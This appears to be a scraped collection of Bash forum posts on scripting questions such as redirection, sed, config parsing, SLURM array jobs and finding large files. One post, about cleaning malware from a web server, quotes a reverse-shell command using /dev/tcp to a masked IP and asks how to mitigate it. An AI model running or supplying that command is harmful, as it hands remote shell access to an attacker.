An app for finding locations of text within large directories

I made an app called FindIt that makes it easier to find all occurrences of text within large directories and files.

I mainly made this because it's difficult to find where symbols are defined when decompiling .Net applications, but I'm sure it could be used outside of decompiling apps.

More information can be found in the GitHub repo.

output not redirecting to a file.

/usr/sbin/logrotate /etc/logrotate.conf -d 2>&1 /tmp/log.txt


Creates an empty file while text flies pas the screen. Why?

Quickly find the largest files and folders in a directory + subs

This function will quickly return the largest files and folders in the directory and its subdirectories with the full path to each folder and file.

You just pass the number of results you want returned to the function.

You can get the function on GitHub [here](https://github.com/slyfox1186/noscript-repo/blob/main/Bash/Misc/Functions/big-files.sh).

To return 5 results for files and folders execute:

big_files 5

I saved this in my `.bash_functions` file and love using it to find stuff that is hogging space.

Cheers!

Make the list with size, path and filename

Hello,

find . -type f will show us all files under current directory, how to simple split the path name and filename and add the file sizes in the output for each line

or

du -a . will show all files and directories under current one, how to hide the directories and split the path names and file names in the each line?

thanks

What this command do?

Hi

I had to deal with some malware on a web server (php, magento, wordpress).

One of the things that are interesting (to me) is this process:

sh -c /bin/sh -i >& /dev/tcp/XXX.XXX.XXX.XXX/587 0>&1

xxx.xxx.xxx.xxx is the IP address

Can anyone explain what this do exactly, and if there's a chance to mitigate if not completely prevent from happening.

Unfortunately I have only one user available for both ssh and web server so I can't do anything with permissions.

Thanks

The noscript doesn't ask for my input if I want to proceed (if the -i flag is added in the terminal) and just goes on

#!/bin/bash

askconfirmation() {

echo "Do you want to procede? [y/n]: "
read choice
case "$choice" in
[Yy]*) return 0 ;;
*) return 1 ;;
esac
fi
}
copyfile() {
for file in "$src"/*; do
name_file=$(basename "$file")
if [ ! -e "$dest"/"$name_file" ]; then
if askconfirmation; then
cp "$file" "$dest"/"$name_file"
echo "Copying: "$file" -> "$dest"/"$name_file""
fi
fi
done
}

confirm=false
while getopts ":i" opt; do
case $opt in
i) confirm=true ;;
\?) echo "Option not valid" >&2 && exit 1 ;;
esac
done
shift $((OPTIND -1))

How does this sed command work?

The command is used to remove all empty lines left at the end of the file. I hope it's alright to ask about sed here, this command is really tricky.

sed -i -e :a -e '/^\n*$/{$d;N;ba' -e '}' file.txt

Recursive noscript with pattern matching issues

I am trying to write a noscript to parse a file, This file contains the following (only a snippet for exmaple)

define service{

name win-ns-check-login-decom-service ; The 'name' of this service template

service_denoscription Windows Login State for Decom Pending

servicegroups windows-ns-service-group

use generic-info-service

hostgroup_name decom-windows-servers,!win-ns-check-login-no-restart

check_command check_ns_args!check_login!"-_Reload 1"

}

&#x200B;

define service{

name win-ns-check-login-no-restart-service ; The 'name' of this service template

service_denoscription Windows Login State wo Restart

servicegroups windows-ns-service-group

use generic-service

hostgroup_name win-ns-check-login-no-restart

notification_interval 0 ; Only send notifications on status change by default.

notification_options c,r

check_command check_ns_args!check_login!"-_Reload 0"

}

&#x200B;

define service{

name win-ns-check-activation-service ; The 'name' of this service template

service_denoscription Windows Activation State

servicegroups windows-ns-service-group

use generic-p2-service

hostgroup_name windows-nsclient-servers,win-ns-check-activation,!win-ns-check-login-no-restart,!win-ns-check-login,!exclude-win-check-activate

notification_interval 0 ; Only send notifications on status change by default.

notification_options c,r

check_command check_ns_args!check_login!"-_DoLogin 0"

}

&#x200B;

I am trying to recursively go through this file with over hundreds of entries and map all of these fields in CSV format, The noscript I have is as such:

\#!/bin/bash

echo "Command_Name,Check_Command,Service_Group,Service_Denoscription,Use,Hostgroup_Name"

for s in "`cat /etc/icinga/objects/services/* | grep -v "#" | sed -n '/{/,/}/{p;/}/q}'`"

do

cn=`echo "$s" | grep "\^name" | awk '{print $2}'`

use=`echo "$s" | grep "use" | awk '{print $2}'`

sg=`echo "$s" | grep servicegroups | awk '{print $2}'`

sd=`echo "$s" | grep service_denoscription | awk '{print $2" " $3" "$4" "$5" "$6}'`

hgn=`echo "$s" | grep hostroup_name | sed 's/ hostgroup_name //g'`

ccom=`echo "$s" | grep check_command | sed 's/ check_command //g'`

echo "$cn,$ccom,$sg,$sd,$use,$hgn"

done

I have tried looking on various forums for awk and sed commands that can recursively go through the file, I am trying to extract the chunks between the "{" and "}" and treat them as their own "object" to grep through and extract the values, however, all I can do is either get the first data chunk OR get between the first { and the last }.... so effectively I get everything in one big chunk. any ideas here? grep -A and -B will not work because those are absolute values for n number of lines and not all entries are formatted the same and may result in cross-contamination from other entries.

the end result should output something like the following:

Command_Name,Check_Command,Service_Group,Service_Denoscription,Use,Hostgroup_Name

win-ns-check-login-decom-service,check_ns_args!check_login!"-_Reload 1",windows-ns-service-group,Windows Login State for Decom Pending,generic-info-service,decom-windows-servers,!win-ns-check-login-no-restart

win-ns-check-login-no-restart-service,check_ns_args!check_login!"-_Reload 0",windows-ns-service-group,Windows Login State wo Restart,generic-service,win-ns-check-login-no-restart

win-ns-check-activation-service,check_ns_args!check_login!"-_DoLogin 0",windows-ns-service-group,Windows Activation State,generic-service,check_ns_args!check_login!"-_DoLogin

0"

Any assistance or a nudge in the right direction will be greatly appreciated.

Random number generator issue

I am currently trying to code a number generator that generates a number between 1 and 7 every 10 seconds.

Here is my code:

\#!/bin/bash

random_number=$(( (RANDOM % 7) + 1 ))

echo "Random number between 1 and 7: $random_number"

sleep 10

done

However when i run the code it always just gives me a result of 1. Am I doing something wrong?

In array jobs, how to use argument from $id, such as python.py $id0, $id1 and py.py ../folder/+$id1?

for example, my python file is like

python3 file.py arg1 'arg2'

I code this command in one noscript using array jobs, like

#!/bin/bash
#SBATCH -J array-job
#SBATCH -a 1-4

idlist="PARALIST.txt"
id=head -n $SLURM_ARRAY_TASK_ID $id_list | tail -n 1

in which, PARA_LIST.txt is like

arg1-1, arg2-1
arg1-2, arg2-2
arg1-3, arg2-3
arg1-4, arg2-4

so, each $id is string, $id[0] and %id[1] are also string. But arg1 in file.py is not string. How to implement the following noscript?

#!/bin/bash
#SBATCH -J array-job
#SBATCH -a 1-4

idlist="PARALIST.txt"
id=head -n $SLURM_ARRAY_TASK_ID $id_list | tail -n 1
cd ../folder + $id1
python3 file.py $id0 $id1

Thanks in advance!

Environmental Madness

Making my first ever special little directory for my future Bash-growth-and-development, writing them noscripts like a grown-up, my own beautiful bins, feeling so worldly. This little exchange with the shell amused me more than it should, and so I thought it might be amusing to the fine Bash-humans of Bash-world.

Luckily I had just echo'd $PATH moments before, so a quick kill-yank and the day was saved. There was an instance where I thought: "what, where's my stuff, noooooo". What would I have done, if I'd clobbered it? Dust off grep and go hunting for binary hotspots?

Anyway, it was a minute of my day, but good times were had.

Wishing you all the best in your day.

For a job interview, how would you present a bunch of API cURL commands to oAuth and server endpoints?

Like you have tasks that involve making cURL commands to oAuth and Server endpoints to obtain tokens and do stuff on the API endpoints. In the interview, you guys will present how and what you did. So how would you present this to them. I am thinking docker or Github private.

Intercepting key presses and passing them to a background process

If anyone could assist with this shell noscript I'd appreciate it.

The idea is that `mplayer` is running in the background so that I can detect an "s" key press (to save the current path to file), but in all other cases I want to pass the keyboard input to `mplayer` so that I can still use its controls.

Is this possible? Or is there another approach? I have not been able to solve this ssist with this shell noscript I'd appreciate it.

`for audio_file in "${playlist[@]}"; do`

`mplayer -really-quiet "$audio_file" &`

`mplayer_pid=$!`

`while true; do`

`read -n 1 -t 1 -s key`

`if [ "$key" != "s" ]; then`

`# pass the key press to \`mplayer\` here`

`else`

`echo "$audio_file" >> favorites.txt`

`fi`

`done`

`done`
